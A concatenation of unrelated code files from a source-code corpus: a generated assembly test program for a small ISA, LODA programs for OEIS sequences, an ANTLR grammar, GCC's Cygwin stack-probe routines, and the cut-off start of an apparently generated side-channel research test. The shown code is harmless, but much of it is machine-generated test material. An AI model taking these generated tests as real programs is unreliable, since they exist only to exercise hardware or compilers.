ld r4, r7, 6 // icount 1891
sub r3, r7, r1 // icount 1892
rori r4, r5, 8 // icount 1893
andn r7, r6, r3 // icount 1894
nop // to align meminst icount 1895
andni r7, r7, 1 // icount 1896
stu r5, r7, 2 // icount 1897
lbi r5, 12 // icount 1898
lbi r4, 2 // icount 1899
add r3, r7, r6 // icount 1900
srl r6, r1, r3 // icount 1901
andni r7, r7, 1 // icount 1902
ld r4, r7, 10 // icount 1903
andni r6, r6, 1 // icount 1904
st r5, r6, 14 // icount 1905
sco r6, r5, r4 // icount 1906
roli r4, r1, 1 // icount 1907
sle r2, r4, r6 // icount 1908
sco r2, r5, r4 // icount 1909
ror r7, r2, r3 // icount 1910
srli r6, r0, 8 // icount 1911
sco r7, r3, r5 // icount 1912
rol r5, r6, r0 // icount 1913
andn r3, r4, r3 // icount 1914
nop // to align meminst icount 1915
andni r6, r6, 1 // icount 1916
ld r4, r6, 12 // icount 1917
ror r6, r3, r3 // icount 1918
andn r2, r3, r0 // icount 1919
lbi r3, 1 // icount 1920
lbi r3, 9 // icount 1921
seq r6, r7, r5 // icount 1922
nop // to align meminst icount 1923
sll r7, r0, r4 // icount 1924
nop // to align meminst icount 1925
st r2, r0, 6 // icount 1926
nop // to align meminst icount 1927
stu r4, r1, -4 // icount 1928
nop // to align meminst icount 1929
st r6, r1, 8 // icount 1930
nop // to align meminst icount 1931
st r2, r0, -14 // icount 1932
nop // to align meminst icount 1933
ld r2, r1, 8 // icount 1934
nop // to align meminst icount 1935
st r2, r0, -4 // icount 1936
nop // to align meminst icount 1937
st r6, r0, -4 // icount 1938
nop // to align meminst icount 1939
ld r3, r1, -4 // icount 1940
nop // to align meminst icount 1941
ld r2, r0, 2 // icount 1942
st r5, r0, -14 // icount 1943
srli r7, r1, 6 // icount 1944
nop // to align meminst icount 1945
ld r2, r0, -12 // icount 1946
nop // to align meminst icount 1947
stu r2, r0, 12 // icount 1948
nop // to align meminst icount 1949
ld r4, r1, 12 // icount 1950
nop // to align meminst icount 1951
stu r3, r0, -8 // icount 1952
nop // to align meminst icount 1953
ld r5, r1, -6 // icount 1954
st r2, r1, -10 // icount 1955
sle r4, r4, r6 // icount 1956
nop // to align meminst icount 1957
ld r6, r1, -10 // icount 1958
nop // to align meminst icount 1959
ld r4, r0, -14 // icount 1960
ld r2, r1, 10 // icount 1961
slbi r6, 11 // icount 1962
nop // to align meminst icount 1963
stu r2, r0, 4 // icount 1964
nop // to align meminst icount 1965
stu r6, r1, 8 // icount 1966
nop // to align meminst icount 1967
ld r5, r1, 6 // icount 1968
nop // to align meminst icount 1969
st r2, r0, 2 // icount 1970
nop // to align meminst icount 1971
st r2, r1, -2 // icount 1972
nop // to align meminst icount 1973
ld r5, r0, 12 // icount 1974
nop // to align meminst icount 1975
ld r2, r0, -2 // icount 1976
nop // to align meminst icount 1977
stu r2, r0, 12 // icount 1978
nop // to align meminst icount 1979
ld r6, r0, 8 // icount 1980
nop // to align meminst icount 1981
ld r6, r0, -2 // icount 1982
nop // to align meminst icount 1983
st r4, r0, -16 // icount 1984
nop // to align meminst icount 1985
ld r2, r1, -6 // icount 1986
nop // to align meminst icount 1987
ld r3, r1, 0 // icount 1988
nop // to align meminst icount 1989
ld r6, r0, -14 // icount 1990
nop // to align meminst icount 1991
ld r5, r1, 14 // icount 1992
nop // to align meminst icount 1993
ld r6, r1, -8 // icount 1994
nop // to align meminst icount 1995
stu r6, r0, 12 // icount 1996
nop // to align meminst icount 1997
st r3, r1, -4 // icount 1998
nop // to align meminst icount 1999
st r3, r0, -10 // icount 2000
nop // to align meminst icount 2001
ld r3, r1, -14 // icount 2002
nop // to align meminst icount 2003
st r4, r1, 10 // icount 2004
nop // to align meminst icount 2005
ld r6, r0, 12 // icount 2006
ld r6, r0, 12 // icount 2007
andn r7, r3, r1 // icount 2008
nop // to align meminst icount 2009
stu r4, r1, -16 // icount 2010
nop // to align meminst icount 2011
ld r4, r0, 2 // icount 2012
nop // to align meminst icount 2013
ld r3, r1, -14 // icount 2014
nop // to align meminst icount 2015
ld r5, r0, -14 // icount 2016
nop // to align meminst icount 2017
ld r2, r0, -16 // icount 2018
nop // to align meminst icount 2019
ld r5, r0, 10 // icount 2020
nop // to align meminst icount 2021
stu r2, r1, 6 // icount 2022
nop // to align meminst icount 2023
stu r5, r0, 6 // icount 2024
nop // to align meminst icount 2025
ld r5, r1, -14 // icount 2026
nop // to align meminst icount 2027
stu r4, r0, -8 // icount 2028
nop // to align meminst icount 2029
ld r5, r1, 4 // icount 2030
nop // to align meminst icount 2031
st r3, r1, -14 // icount 2032
nop // to align meminst icount 2033
stu r4, r0, -2 // icount 2034
nop // to align meminst icount 2035
stu r2, r1, 0 // icount 2036
nop // to align meminst icount 2037
ld r4, r1, 14 // icount 2038
nop // to align meminst icount 2039
ld r6, r1, -16 // icount 2040
nop // to align meminst icount 2041
st r2, r0, 14 // icount 2042
nop // to align meminst icount 2043
ld r2, r0, 4 // icount 2044
nop // to align meminst icount 2045
st r2, r0, -2 // icount 2046
nop // to align meminst icount 2047
st r5, r1, 0 // icount 2048
nop // to align meminst icount 2049
stu r2, r1, 12 // icount 2050
nop // to align meminst icount 2051
ld r6, r0, -10 // icount 2052
nop // to align meminst icount 2053
ld r4, r1, 2 // icount 2054
nop // to align meminst icount 2055
st r5, r1, 2 // icount 2056
nop // to align meminst icount 2057
stu r3, r0, -10 // icount 2058
nop // to align meminst icount 2059
stu r5, r1, -8 // icount 2060
nop // to align meminst icount 2061
st r2, r0, -16 // icount 2062
nop // to align meminst icount 2063
stu r5, r0, 12 // icount 2064
nop // to align meminst icount 2065
st r4, r0, 8 // icount 2066
nop // to align meminst icount 2067
ld r4, r1, 6 // icount 2068
nop // to align meminst icount 2069
st r3, r1, 4 // icount 2070
nop // to align meminst icount 2071
ld r3, r1, -16 // icount 2072
nop // to align meminst icount 2073
ld r2, r0, 2 // icount 2074
nop // to align meminst icount 2075
ld r4, r0, 2 // icount 2076
nop // to align meminst icount 2077
stu r5, r0, 12 // icount 2078
nop // to align meminst icount 2079
ld r3, r0, 12 // icount 2080
nop // to align meminst icount 2081
st r2, r0, 10 // icount 2082
nop // to align meminst icount 2083
st r4, r1, 4 // icount 2084
nop // to align meminst icount 2085
st r4, r0, -14 // icount 2086
st r4, r0, -14 // icount 2087
rol r6, r2, r2 // icount 2088
nop // to align meminst icount 2089
st r5, r1, -12 // icount 2090
nop // to align meminst icount 2091
ld r6, r1, 10 // icount 2092
nop // to align meminst icount 2093
st r4, r1, 6 // icount 2094
nop // to align meminst icount 2095
ld r2, r1, 8 // icount 2096
nop // to align meminst icount 2097
st r5, r1, -10 // icount 2098
nop // to align meminst icount 2099
ld r6, r0, 14 // icount 2100
nop // to align meminst icount 2101
st r6, r0, 6 // icount 2102
nop // to align meminst icount 2103
ld r5, r0, -14 // icount 2104
nop // to align meminst icount 2105
ld r2, r1, 8 // icount 2106
nop // to align meminst icount 2107
ld r6, r1, -16 // icount 2108
nop // to align meminst icount 2109
ld r3, r1, 2 // icount 2110
nop // to align meminst icount 2111
stu r5, r0, 2 // icount 2112
nop // to align meminst icount 2113
ld r4, r1, 8 // icount 2114
nop // to align meminst icount 2115
stu r6, r1, 8 // icount 2116
nop // to align meminst icount 2117
stu r5, r1, 12 // icount 2118
nop // to align meminst icount 2119
stu r2, r1, 8 // icount 2120
nop // to align meminst icount 2121
st r6, r1, -6 // icount 2122
nop // to align meminst icount 2123
ld r4, r1, 14 // icount 2124
nop // to align meminst icount 2125
stu r5, r0, 10 // icount 2126
nop // to align meminst icount 2127
ld r3, r0, 4 // icount 2128
nop // to align meminst icount 2129
ld r5, r0, 0 // icount 2130
nop // to align meminst icount 2131
st r3, r0, 14 // icount 2132
ld r2, r1, 0 // icount 2133
lbi r6, 0 // icount 2134
lbi r3, 0 // icount 2135
nop // to align branch icount 2136
bnez r1, 8 // icount 2137
xori r3, r5, 3 // icount 2138
xor r2, r2, r4 // icount 2139
ror r2, r6, r7 // icount 2140
slbi r4, 8 // icount 2141
slli r6, r5, 2 // icount 2142
addi r4, r2, 6 // icount 2143
slli r3, r2, 10 // icount 2144
nop // to align meminst icount 2145
ror r3, r5, r7 // icount 2146
nop // to align meminst icount 2147
st r5, r0, -12 // icount 2148
nop // to align meminst icount 2149
st r4, r0, 6 // icount 2150
nop // to align meminst icount 2151
ld r3, r0, -2 // icount 2152
nop // to align meminst icount 2153
st r2, r1, -12 // icount 2154
nop // to align meminst icount 2155
ld r4, r0, -2 // icount 2156
nop // to align meminst icount 2157
st r4, r0, -8 // icount 2158
nop // to align meminst icount 2159
ld r2, r0, 14 // icount 2160
nop // to align meminst icount 2161
ld r3, r1, -12 // icount 2162
nop // to align meminst icount 2163
stu r6, r1, 10 // icount 2164
nop // to align meminst icount 2165
ld r3, r1, 14 // icount 2166
nop // to align meminst icount 2167
ld r4, r1, -14 // icount 2168
nop // to align meminst icount 2169
ld r4, r0, -10 // icount 2170
nop // to align meminst icount 2171
stu r5, r1, 12 // icount 2172
nop // to align meminst icount 2173
ld r4, r0, -16 // icount 2174
nop // to align meminst icount 2175
stu r6, r1, -8 // icount 2176
nop // to align meminst icount 2177
stu r2, r0, 12 // icount 2178
nop // to align meminst icount 2179
ld r6, r1, -2 // icount 2180
nop // to align meminst icount 2181
ld r6, r1, 12 // icount 2182
nop // to align meminst icount 2183
ld r6, r0, -14 // icount 2184
nop // to align meminst icount 2185
stu r4, r0, 0 // icount 2186
nop // to align meminst icount 2187
ld r2, r0, 12 // icount 2188
nop // to align meminst icount 2189
ld r5, r1, -10 // icount 2190
nop // to align meminst icount 2191
ld r2, r1, 14 // icount 2192
nop // to align meminst icount 2193
ld r6, r1, -10 // icount 2194
nop // to align meminst icount 2195
ld r5, r1, -10 // icount 2196
nop // to align meminst icount 2197
st r4, r0, 0 // icount 2198
nop // to align meminst icount 2199
ld r6, r1, -2 // icount 2200
nop // to align meminst icount 2201
stu r2, r0, 4 // icount 2202
nop // to align meminst icount 2203
ld r5, r0, -6 // icount 2204
nop // to align meminst icount 2205
ld r5, r0, 4 // icount 2206
nop // to align meminst icount 2207
stu r2, r1, 10 // icount 2208
nop // to align meminst icount 2209
ld r5, r1, -10 // icount 2210
nop // to align meminst icount 2211
st r5, r0, 12 // icount 2212
nop // to align meminst icount 2213
st r4, r1, 0 // icount 2214
nop // to align meminst icount 2215
ld r6, r0, -12 // icount 2216
nop // to align meminst icount 2217
ld r2, r0, 14 // icount 2218
nop // to align meminst icount 2219
stu r6, r1, 0 // icount 2220
nop // to align meminst icount 2221
ld r5, r0, -14 // icount 2222
st r4, r0, -8 // icount 2223
lbi r7, 0 // icount 2224
lbi r2, 0 // icount 2225
nop // to align branch icount 2226
bnez r0, 28 // icount 2227
sll r6, r0, r3 // icount 2228
subi r5, r0, 11 // icount 2229
andni r7, r7, 1 // icount 2230
stu r7, r7, 6 // icount 2231
slt r6, r3, r4 // icount 2232
xor r4, r6, r3 // icount 2233
slt r6, r3, r5 // icount 2234
andni r5, r1, 10 // icount 2235
srl r5, r6, r4 // icount 2236
ror r6, r6, r6 // icount 2237
andni r5, r2, 14 // icount 2238
andn r2, r0, r6 // icount 2239
srli r7, r0, 14 // icount 2240
addi r4, r7, 4 // icount 2241
srl r2, r0, r7 // icount 2242
andn r4, r6, r2 // icount 2243
sle r6, r6, r3 // icount 2244
andn r7, r1, r6 // icount 2245
seq r5, r5, r3 // icount 2246
andn r5, r6, r5 // icount 2247
andn r2, r4, r3 // icount 2248
srli r6, r2, 13 // icount 2249
sll r6, r4, r7 // icount 2250
andn r6, r1, r4 // icount 2251
slli r4, r6, 14 // icount 2252
sle r5, r0, r0 // icount 2253
andni r7, r7, 1 // icount 2254
stu r2, r7, 2 // icount 2255
xori r5, r4, 2 // icount 2256
slli r3, r0, 1 // icount 2257
lbi r2, 0 // icount 2258
lbi r5, 0 // icount 2259
nop // to align branch icount 2260
bgez r0, 16 // icount 2261
lbi r7, 3 // icount 2262
slli r4, r5, 7 // icount 2263
subi r7, r0, 9 // icount 2264
sub r5, r2, r0 // icount 2265
slbi r7, 2 // icount 2266
addi r7, r0, 11 // icount 2267
andni r0, r0, 1 // icount 2268
stu r7, r0, 4 // icount 2269
srli r6, r5, 2 // icount 2270
srli r4, r0, 10 // icount 2271
lbi r3, 8 // icount 2272
andn r6, r0, r1 // icount 2273
sll r7, r0, r6 // icount 2274
andni r6, r5, 15 // icount 2275
seq r5, r0, r2 // icount 2276
rol r2, r3, r5 // icount 2277
add r6, r6, r3 // icount 2278
nop // to align meminst icount 2279
st r6, r0, 2 // icount 2280
nop // to align meminst icount 2281
ld r6, r0, 12 // icount 2282
nop // to align meminst icount 2283
stu r4, r1, -12 // icount 2284
nop // to align meminst icount 2285
ld r5, r1, -12 // icount 2286
nop // to align meminst icount 2287
ld r4, r1, 4 // icount 2288
nop // to align meminst icount 2289
ld r5, r0, 4 // icount 2290
nop // to align meminst icount 2291
ld r6, r0, 10 // icount 2292
nop // to align meminst icount 2293
st r2, r0, -8 // icount 2294
nop // to align meminst icount 2295
ld r2, r0, 14 // icount 2296
nop // to align meminst icount 2297
ld r3, r0, 2 // icount 2298
nop // to align meminst icount 2299
ld r5, r1, 6 // icount 2300
nop // to align meminst icount 2301
stu r5, r0, 8 // icount 2302
nop // to align meminst icount 2303
ld r3, r1, 6 // icount 2304
nop // to align meminst icount 2305
ld r4, r0, -10 // icount 2306
nop // to align meminst icount 2307
ld r2, r1, -16 // icount 2308
nop // to align meminst icount 2309
ld r6, r1, 4 // icount 2310
nop // to align meminst icount 2311
ld r6, r0, 8 // icount 2312
nop // to align meminst icount 2313
ld r6, r1, 2 // icount 2314
nop // to align meminst icount 2315
stu r2, r1, -16 // icount 2316
nop // to align meminst icount 2317
stu r2, r1, 4 // icount 2318
stu r4, r1, -14 // icount 2319
lbi r5, 0 // icount 2320
lbi r6, 0 // icount 2321
nop // to align branch icount 2322
bltz r3, 8 // icount 2323
rol r2, r2, r5 // icount 2324
sle r6, r5, r5 // icount 2325
sco r4, r2, r0 // icount 2326
sub r2, r1, r2 // icount 2327
slt r7, r1, r1 // icount 2328
nop // to align meminst icount 2329
andni r6, r6, 1 // icount 2330
ld r4, r6, 12 // icount 2331
sle r6, r4, r0 // icount 2332
nop // to align meminst icount 2333
srl r7, r4, r1 // icount 2334
nop // to align meminst icount 2335
ld r2, r0, -12 // icount 2336
nop // to align meminst icount 2337
ld r3, r1, -14 // icount 2338
nop // to align meminst icount 2339
ld r6, r1, -8 // icount 2340
nop // to align meminst icount 2341
ld r3, r1, 2 // icount 2342
nop // to align meminst icount 2343
ld r6, r0, 6 // icount 2344
nop // to align meminst icount 2345
ld r2, r1, 0 // icount 2346
nop // to align meminst icount 2347
ld r6, r0, 12 // icount 2348
nop // to align meminst icount 2349
st r4, r0, -16 // icount 2350
stu r5, r0, 2 // icount 2351
addi r1, r1, -14 // change base addr // icount 2352
nop // to align meminst icount 2353
st r6, r1, 0 // icount 2354
nop // to align meminst icount 2355
ld r5, r1, 8 // icount 2356
nop // to align meminst icount 2357
st r3, r0, -16 // icount 2358
nop // to align meminst icount 2359
ld r4, r1, 10 // icount 2360
nop // to align meminst icount 2361
st r3, r1, 12 // icount 2362
nop // to align meminst icount 2363
ld r3, r0, -16 // icount 2364
nop // to align meminst icount 2365
ld r5, r1, 10 // icount 2366
nop // to align meminst icount 2367
stu r5, r0, 4 // icount 2368
nop // to align meminst icount 2369
ld r6, r0, 0 // icount 2370
nop // to align meminst icount 2371
st r6, r1, -16 // icount 2372
nop // to align meminst icount 2373
ld r6, r0, 0 // icount 2374
nop // to align meminst icount 2375
ld r4, r1, 10 // icount 2376
nop // to align meminst icount 2377
ld r4, r1, -8 // icount 2378
nop // to align meminst icount 2379
ld r5, r1, -6 // icount 2380
nop // to align meminst icount 2381
stu r5, r1, -4 // icount 2382
nop // to align meminst icount 2383
stu r2, r1, -8 // icount 2384
nop // to align meminst icount 2385
ld r2, r0, -4 // icount 2386
nop // to align meminst icount 2387
st r3, r0, -14 // icount 2388
nop // to align meminst icount 2389
ld r3, r1, 0 // icount 2390
nop // to align meminst icount 2391
ld r5, r0, -8 // icount 2392
nop // to align meminst icount 2393
stu r5, r1, -10 // icount 2394
nop // to align meminst icount 2395
ld r6, r0, -6 // icount 2396
nop // to align meminst icount 2397
ld r3, r0, 8 // icount 2398
nop // to align meminst icount 2399
stu r6, r1, 12 // icount 2400
nop // to align meminst icount 2401
st r2, r1, 0 // icount 2402
nop // to align meminst icount 2403
ld r5, r0, 0 // icount 2404
nop // to align meminst icount 2405
ld r6, r1, -12 // icount 2406
nop // to align meminst icount 2407
st r5, r1, 10 // icount 2408
nop // to align meminst icount 2409
ld r2, r0, -14 // icount 2410
nop // to align meminst icount 2411
ld r4, r0, 2 // icount 2412
nop // to align meminst icount 2413
stu r2, r1, -6 // icount 2414
nop // to align meminst icount 2415
st r6, r0, -2 // icount 2416
nop // to align meminst icount 2417
ld r6, r0, -16 // icount 2418
st r3, r0, 8 // icount 2419
halt // icount 2420
|
programs/oeis/158/A158537.asm | karttu/loda | 1 | 175880 | ; A158537: a(n) = 22*n^2 + 1.
; 1,23,89,199,353,551,793,1079,1409,1783,2201,2663,3169,3719,4313,4951,5633,6359,7129,7943,8801,9703,10649,11639,12673,13751,14873,16039,17249,18503,19801,21143,22529,23959,25433,26951,28513,30119,31769,33463,35201,36983,38809,40679,42593,44551,46553,48599,50689,52823,55001,57223,59489,61799,64153,66551,68993,71479,74009,76583,79201,81863,84569,87319,90113,92951,95833,98759,101729,104743,107801,110903,114049,117239,120473,123751,127073,130439,133849,137303,140801,144343,147929,151559,155233,158951,162713,166519,170369,174263,178201,182183,186209,190279,194393,198551,202753,206999,211289,215623,220001,224423,228889,233399,237953,242551,247193,251879,256609,261383,266201,271063,275969,280919,285913,290951,296033,301159,306329,311543,316801,322103,327449,332839,338273,343751,349273,354839,360449,366103,371801,377543,383329,389159,395033,400951,406913,412919,418969,425063,431201,437383,443609,449879,456193,462551,468953,475399,481889,488423,495001,501623,508289,514999,521753,528551,535393,542279,549209,556183,563201,570263,577369,584519,591713,598951,606233,613559,620929,628343,635801,643303,650849,658439,666073,673751,681473,689239,697049,704903,712801,720743,728729,736759,744833,752951,761113,769319,777569,785863,794201,802583,811009,819479,827993,836551,845153,853799,862489,871223,880001,888823,897689,906599,915553,924551,933593,942679,951809,960983,970201,979463,988769,998119,1007513,1016951,1026433,1035959,1045529,1055143,1064801,1074503,1084249,1094039,1103873,1113751,1123673,1133639,1143649,1153703,1163801,1173943,1184129,1194359,1204633,1214951,1225313,1235719,1246169,1256663,1267201,1277783,1288409,1299079,1309793,1320551,1331353,1342199,1353089,1364023
mov $1,$0
pow $1,2
mul $1,22
add $1,1
|
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/configurationPragma_tests/tests/with_dot_issue.ads | ouankou/rose | 488 | 27940 | package with_dot_issue is
end with_dot_issue;
|
oeis/064/A064651.asm | neoneye/loda-programs | 11 | 92694 | <filename>oeis/064/A064651.asm
; A064651: a(n) = ceiling(a(n-1)/2) + a(n-2) with a(0)=0 and a(1)=1.
; Submitted by <NAME>
; 0,1,1,2,2,3,4,5,7,9,12,15,20,25,33,42,54,69,89,114,146,187,240,307,394,504,646,827,1060,1357,1739,2227,2853,3654,4680,5994,7677,9833,12594,16130,20659,26460,33889,43405,55592,71201,91193,116798,149592,191594,245389,314289,402534,515556,660312,845712,1083168,1387296,1776816,2275704,2914668,3733038,4781187,6123632,7843003,10045134,12865570,16477919,21104530,27030184,34619622,44339995,56789620,72734805,93157023,119313317,152813682,195720158,250673761,321057039,411202281,526658180,674531371
add $0,1
mov $1,2
mov $3,1
lpb $0
sub $0,1
mov $2,$3
div $3,2
add $3,$1
mov $1,$2
lpe
mov $0,$1
sub $0,1
|
simple-test-language/src/main/antlr4/org/nemesis/simple/language/SimpleLanguage.g4 | timboudreau/ANTLR4-Plugins-for-NetBeans | 1 | 4140 | <filename>simple-test-language/src/main/antlr4/org/nemesis/simple/language/SimpleLanguage.g4
grammar SimpleLanguage;
compilation_unit :
namespaceStatement?
importStatement*?
typesStatement
typeDeclaration+
EOF;
typeDeclaration :
(desc=description? name=typeName S_COLON kind=K_FLOAT (K_DEFAULT numericExpression)? S_SEMICOLON) #floatType
| (desc=description? name=typeName S_COLON kind=K_INT (K_DEFAULT intExpression)? S_SEMICOLON) #integerType
| (desc=description? name=typeName S_COLON kind=K_INT_ARRAY (K_DEFAULT intArray)? S_SEMICOLON) #integerArray
| (desc=description? name=typeName S_COLON kind=K_STRING (K_DEFAULT L_STRING)? S_SEMICOLON) #stringType
| (desc=description? name=typeName S_COLON kind=K_BOOLEAN (K_DEFAULT L_BOOLEAN)? S_SEMICOLON) #booleanType
| (desc=description? name=typeName S_COLON kind=K_OBJECT S_OPEN_BRACE typeDeclaration+ S_CLOSE_BRACE) #objectType
| (desc=description? name=typeName S_COLON kind=K_REFERENCE to=(ID | QUALIFIED_ID) S_SEMICOLON) #referenceType
;
description : lines=DESCRIPTION+;
namespaceStatement : K_NAMESPACE id=(ID | QUALIFIED_ID) S_SEMICOLON;
importStatement : K_IMPORT id=(ID | QUALIFIED_ID) S_SEMICOLON;
typesStatement : K_TYPE name=ID S_SEMICOLON;
typeName : ID;
intExpression :
L_INT #singleInt
| (L_INT OP numericExpression) #mathInt
| (S_OPEN_PARENS (L_INT OP numericExpression) S_CLOSE_PARENS) #parentheticInt
;
numericExpression : (L_INT | L_FLOAT) #singleFloat
| ((L_FLOAT | L_INT) OP numericExpression) #mathFloat
| (S_OPEN_PARENS numericExpression S_CLOSE_PARENS) #parentheticFloat;
intArray :
S_OPEN_BRACKET L_INT* S_CLOSE_BRACKET;
OP : S_PLUS | S_MINUS | S_SLASH | S_ASTERISK | S_PERCENT;
QUALIFIED_ID : ID (S_DOT ID)+;
K_IMPORT : 'import';
K_NAMESPACE : 'namespace';
K_INT : 'int';
K_INT_ARRAY : 'intArray';
K_OBJECT : 'object';
K_STRING : 'string';
K_FLOAT : 'float';
K_BOOLEAN : 'boolean';
K_TYPE : 'types';
K_DEFAULT : 'default';
K_REFERENCE : 'reference';
S_SLASH : '/';
S_ASTERISK : '*';
S_PERCENT : '%';
S_OPEN_PARENS : '(';
S_CLOSE_PARENS : ')';
S_OPEN_BRACE : '{';
S_CLOSE_BRACE : '}';
S_COLON : ':';
S_SEMICOLON : ';';
S_EQ : '=';
S_COMMA : ',';
S_DOT : '.';
S_OPEN_BRACKET : '[';
S_CLOSE_BRACKET : ']';
LINE_COMMENT : '//' .*? S_LINE_END -> channel(1);
COMMENT : '/*' .*? '*/' -> channel(1);
S_WHITESPACE : (' '|'\t'|'\n'|'\r')+ -> channel(2);
L_STRING : (STRING | STRING2);
L_FLOAT
: (S_MINUS)? DIGIT+ (S_DOT DIGIT+);
L_INT : (S_MINUS)? DIGITS;
L_BOOLEAN : TRUE | FALSE;
DESCRIPTION: DESC_DELIMITER( ESC|.)*? S_LINE_END;
ID: ('a'..'z'|'A'..'Z' | '_')('a'..'z'|'A'..'Z'|'0'..'9' | '_')*;
fragment DESC_DELIMITER : '**';
fragment TRUE : 'true';
fragment FALSE : 'false';
fragment STRING: '"' (ESC|.)*? '"';
fragment STRING2: '\''(ESC2|.)*? '\'';
fragment DIGITS : DIGIT+;
fragment DIGIT: [0-9];
fragment S_PLUS : '+';
fragment S_MINUS : '-';
fragment ESC : '\\"' | '\\\\' ;
fragment ESC2 : '\\\'' | '\\\\' ;
fragment WS : ' ' | '\t' | '\n' | '\r';
fragment S_LINE_END : '\r'? '\n';
|
m3-sys/m3cc/gcc/gcc/config/i386/cygwin.asm | RodneyBates/modula-3 | 2 | 25104 | /* stuff needed for libgcc on win32.
*
* Copyright (C) 1996, 1998, 2001, 2003 Free Software Foundation, Inc.
* Written By <NAME>
*
* This file is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2, or (at your option) any
* later version.
*
* In addition to the permissions in the GNU General Public License, the
* Free Software Foundation gives you unlimited permission to link the
* compiled version of this file with other programs, and to distribute
* those programs without any restriction coming from the use of this
* file. (The General Public License restrictions do apply in other
* respects; for example, they cover modification of the file, and
* distribution when not linked into another program.)
*
* This file is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; see the file COPYING. If not, write to
* the Free Software Foundation, 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*
* As a special exception, if you link this library with files
* compiled with GCC to produce an executable, this does not cause
* the resulting executable to be covered by the GNU General Public License.
* This exception does not however invalidate any other reasons why
* the executable file might be covered by the GNU General Public License.
*/
#ifdef L_chkstk
/* Function prologue calls _alloca to probe the stack when allocating more
than CHECK_STACK_LIMIT bytes in one go. Touching the stack at 4K
increments is necessary to ensure that the guard pages used
by the OS virtual memory manger are allocated in correct sequence. */
.global ___chkstk
.global __alloca
#ifndef _WIN64
___chkstk:
__alloca:
pushl %ecx /* save temp */
leal 8(%esp), %ecx /* point past return addr */
cmpl $0x1000, %eax /* > 4k ?*/
jb Ldone
Lprobe:
subl $0x1000, %ecx /* yes, move pointer down 4k*/
orl $0x0, (%ecx) /* probe there */
subl $0x1000, %eax /* decrement count */
cmpl $0x1000, %eax
ja Lprobe /* and do it again */
Ldone:
subl %eax, %ecx
orl $0x0, (%ecx) /* less than 4k, just peek here */
movl %esp, %eax /* save old stack pointer */
movl %ecx, %esp /* decrement stack */
movl (%eax), %ecx /* recover saved temp */
movl 4(%eax), %eax /* recover return address */
/* Push the return value back. Doing this instead of just
jumping to %eax preserves the cached call-return stack
used by most modern processors. */
pushl %eax
ret
#else
/* __alloca is a normal function call, which uses %rcx as the argument. And stack space
for the argument is saved. */
__alloca:
movq %rcx, %rax
addq $0x7, %rax
andq $0xfffffffffffffff8, %rax
popq %rcx /* pop return address */
popq %r10 /* Pop the reserved stack space. */
movq %rsp, %r10 /* get sp */
cmpq $0x1000, %rax /* > 4k ?*/
jb Ldone_alloca
Lprobe_alloca:
subq $0x1000, %r10 /* yes, move pointer down 4k*/
orq $0x0, (%r10) /* probe there */
subq $0x1000, %rax /* decrement count */
cmpq $0x1000, %rax
ja Lprobe_alloca /* and do it again */
Ldone_alloca:
subq %rax, %r10
orq $0x0, (%r10) /* less than 4k, just peek here */
movq %r10, %rax
subq $0x8, %r10 /* Reserve argument stack space. */
movq %r10, %rsp /* decrement stack */
/* Push the return value back. Doing this instead of just
jumping to %rcx preserves the cached call-return stack
used by most modern processors. */
pushq %rcx
ret
/* ___chkstk is a *special* function call, which uses %rax as the argument.
We avoid clobbering the 4 integer argument registers, %rcx, %rdx,
%r8 and %r9, which leaves us with %rax, %r10, and %r11 to use. */
___chkstk:
addq $0x7, %rax /* Make sure stack is on alignment of 8. */
andq $0xfffffffffffffff8, %rax
popq %r11 /* pop return address */
movq %rsp, %r10 /* get sp */
cmpq $0x1000, %rax /* > 4k ?*/
jb Ldone
Lprobe:
subq $0x1000, %r10 /* yes, move pointer down 4k*/
orl $0x0, (%r10) /* probe there */
subq $0x1000, %rax /* decrement count */
cmpq $0x1000, %rax
ja Lprobe /* and do it again */
Ldone:
subq %rax, %r10
orl $0x0, (%r10) /* less than 4k, just peek here */
movq %r10, %rsp /* decrement stack */
/* Push the return value back. Doing this instead of just
jumping to %r11 preserves the cached call-return stack
used by most modern processors. */
pushq %r11
ret
#endif
#endif
|
programs/oeis/309/A309231.asm | karttu/loda | 0 | 17034 | ; A309231: Column 3 of the array at A326662 see Comments.
; 7,17,25,34,43,53,61,71,79,89,97,106,115,125,133,142,151,161,169,178,187,197,205,215,223,233,241,250,259,269,277,287,295,305,313,322,331,341,349,359,367,377,385,394,403,413,421,430,439,449,457,466,475,485,493,503,511,521,529,538,547,557,565,574,583,593,601,610,619,629,637,647,655,665,673,682,691,701,709,718,727,737,745,754,763,773,781,791,799,809,817,826,835,845,853,863,871,881,889,898,907,917,925,935,943,953,961,970,979,989,997,1006,1015,1025,1033,1042,1051,1061,1069,1079,1087,1097,1105,1114,1123,1133,1141,1151,1159,1169,1177,1186,1195,1205,1213,1223,1231,1241,1249,1258,1267,1277,1285,1294,1303,1313,1321,1330,1339,1349,1357,1367,1375,1385,1393,1402,1411,1421,1429,1439,1447,1457,1465,1474,1483,1493,1501,1511,1519,1529,1537,1546,1555,1565,1573,1582,1591,1601,1609,1618,1627,1637,1645,1655,1663,1673,1681,1690,1699,1709,1717,1726,1735,1745,1753,1762,1771,1781,1789,1799,1807,1817,1825,1834,1843,1853,1861,1870,1879,1889,1897,1906,1915,1925,1933,1943,1951,1961,1969,1978,1987,1997,2005,2015,2023,2033,2041,2050,2059,2069,2077,2087,2095,2105,2113,2122,2131,2141,2149,2158,2167,2177,2185,2194,2203,2213,2221,2231,2239,2249
mov $2,$0
add $2,1
mov $4,$0
mul $0,2
pow $0,7
gcd $0,$2
mov $1,$0
mod $1,3
add $1,6
mov $3,$4
mul $3,9
add $1,$3
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2.log_2982_671.asm | ljhsiun2/medusa | 9 | 83035 | <reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2.log_2982_671.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x11423, %r10
xor $44534, %rbx
vmovups (%r10), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rsi
